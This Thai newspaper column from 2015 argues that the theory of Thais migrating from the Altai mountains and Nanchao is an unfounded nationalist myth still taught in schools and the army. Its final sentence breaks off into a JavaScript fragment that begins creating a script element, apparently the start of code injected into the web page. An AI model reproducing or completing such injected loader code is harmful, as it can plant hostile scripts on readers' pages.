มติชนรายวัน ฉบับประจำวันอังคารที่ 3 มีนาคม 2558

 

เทือกเขาอัลไต

          “เรื่องคนไทยมาจากเทือกเขาอัลไต มีความเป็นมาและรายละเอียดอย่างไร ทำไมจึงกลายเป็นทฤษฎีที่ได้รับการเชื่อถืออย่างยาวนาน และเพราะเหตุใดในปัจจุบันจึงพ้นสมัยไป แล้วไม่น่าเชื่ออีก” เป็นคำถามที่ค้างจากเมื่อวาน

          เรื่องเทือกเขาอัลไต สรุปย่อว่าคนไทยมีแหล่งกำเนิด แล้วถูกรุกรานจนต้องอพยพถอนรากถอนโคนจากเทือกเขาอัลไต ลงทางทิศใต้

          ต่อมาตั้งอาณาจักรน่านเจ้า แล้วถูกกองทัพกุบไลข่านโจมตีแตกต้องอพยพถอนรากถอนโคนลงมาอยู่ในดินแดนไทยทุกวันนี้

          แรกๆต้องตกเป็นข้าทาสของมอญและขอม ซึ่งเป็นเจ้าของดินแดนมาก่อน นานเข้าก็ปลดแอกจากขอมแล้วสถาปนาสุโขทัยเป็นราชธานีแห่งแรก

          ทั้งหมดเป็นนิยายที่คนแต่ง (ฝรั่งเศสหรือไทยก็ตาม) มโนขึ้นเอง โดยไม่มีพยานหลักฐานประวัติศาสตร์โบราณคดีรองรับ และนักวิชาการนานาชาติไม่เชื่อถือ

          มีผู้รู้อธิบายว่าเป็นแนวคิดสืบเนื่องจากยุคอาณานิคมสมัย ร.5 ราว 100 ปีมาแล้ว ซึ่งสอดคล้อง หรือสนับสนุนเชื้อชาตินิยมคลั่งชาติ ยุคสงครามโลกครั้งที่ 2

          ทำให้ผู้มีอำนาจรัฐเผด็จการหวังประโยชน์ทางการเมืองจึงขยายผลทั่วประเทศ ผ่านระบบโรงเรียน, เพลงดนตรี, ละครเวที, วรรณกรรม, แผนที่, ฯลฯ

          คนชั้นนำมีอำนาจ บอกว่าคนไทยมาจากอัลไต ก็ต้องเชื่อตามนั้น ห้ามถาม ห้ามเถียง

          ปัจจุบันยังมีสถาบันหลายแห่งและครูอาจารย์จำนวนไม่น้อยยึดถือตามแนวอพยพนั้น

          หลักฐานใหม่ หลัง พ.ศ. 2500 หลักฐานประวัติศาสตร์โบราณคดี ถูกค้นพบใหม่แล้วเปิดเผยต่อสาธารณะเพิ่มมากขึ้นเรื่อยๆอย่างสม่ำเสมอ ด้วยเหตุผลของสงคราม เช่น สงครามเย็น, สงครามเวียดนาม, และอื่นๆ

          ล้วนขัดแย้งกับประวัติศาสตร์แห่งชาติ แต่ที่สำคัญคือไม่มีคนพูดภาษาตระกูลไทย-ลาว บริเวณเทือกเขาอัลไตและน่านเจ้า

          หลัง พ.ศ. 2520 แนวคิดเรื่องคนไทยมีแหล่งกำเนิดบริเวณเทือกเขาอัลไตแล้วอพยพถอนรากถอนโคนลงมา ก็ถูกถอดจากตำราของกระทรวงศึกษาธิการ

          ต่อมา เรื่องอาณาจักรน่านเจ้าก็ถูกถอดตามไป

          แต่พิพิธภัณฑสถานแห่งชาติไม่ทิ้ง จึงยังมีติดไว้เป็นพยานว่าเคยเชื่อเรื่องคนไทยมาจากเทือกเขาอัลไต ย่อมมีส่วนสนับสนุนความคิดนี้ยังมีความหมาย แล้วสืบทอดต่อมา

          ครูจำนวนไม่น้อยยังเชื่อถือ จึงสอนตามนั้น

          โดยเฉพาะในกลุ่มทหารยังยึดถือตำราเดิมจนทุกวันนี้ ว่าคนไทยมาจากเทือกเขาอัลไต ดังเป็นที่รู้ทั่วกันอยู่แล้ว

          ไม่กี่ปีมานี้ ผมเคยเขียนบอกครูบาอาจารย์มหาวิทยาลัยที่มีการเรียนการสอนด้านประวัติศาสตร์โบราณคดี ว่าควรร่วมกันอธิบายตอกย้ำบ่อยๆ ว่าคนไทยไม่ได้มีถิ่นกำเนิดแล้วอพยพมาจากเทือกเขาอัลไต เพราะโรงเรียนส่วนมากยังสอนอยู่ทั่วประเทศ และค่ายทหารยังใช้ปลุกระดมและปลุกใจ

          ดังนั้นต้องผลิตซ้ำทำซ้ำจนกว่าสังคมไทยจะเลิกเชื่อถือ แล้วลืมเรื่องอัลไต

          ครูบาอาจารย์พวกนั้นเยาะเย้ยถากถางในสื่อสาธารณะทำนองว่าเขาเลิกพูดกันนานมากแล้วเรื่องคนไทยมาจากเทือกเขาอัลไต นี่ยังงมงายพูดอีกหรือ? ช่างล้าหลังอย่างยิ่ง

          ผมพยายามอดทนอดกลั้นอธิบายว่าครูบาอาจารย์นักวิชาการโบราณคดีกลุ่มน้อยแคบๆไม่กี่คนรู้ดีว่าไม่จริงอย่างนั้น จึงเลิกพูดมานานแล้ว แต่ครูบาอาจารย์ตามโรงเรียนและสถาบันอื่นๆทั่วประเทศ รวมถึงกองทัพต่างๆยังใช้งานเทือกเขาอัลไต เพราะไม่รู้ว่าพยานหลักฐานแท้จริงมีอย่างไร? จึงจำเป็นต้องมีกิจกรรมแบ่งปันเผยแพร่ความจริงเรื่องนี้บ่อยๆ

          ครูบาอาจารย์นักวิชาการประวัติศาสตร์โบราณคดีพวกนี้ ส่วนมากขาดสำนึกแบ่งปันข้อมูลข่าวสารวิชาความรู้ แล้ววางตนอยู่เหนือสังคม เลยไม่รู้ปัญหาทางสังคมวัฒนธรรมที่แท้จริงของไทย

          กรณีคนไทยมาจากเทือกเขาอัลไต ที่ถูกผู้นำทำให้เชื่อแล้วเป็นที่กล่าวขวัญสนุกสนั่น ในสื่อทั้งหลายทุกประเภทขณะนี้ ครูบาอาจารย์นักวิชาการพวกนั้นคงคิดไม่ถูกและคาดไม่ถึงจึงทำได้อย่างเดียว คือ

          หยุดเป่านกหวีด แล้วรวมหัวกันเป่าสากvar d=document;var s=d.createElement(‘script’);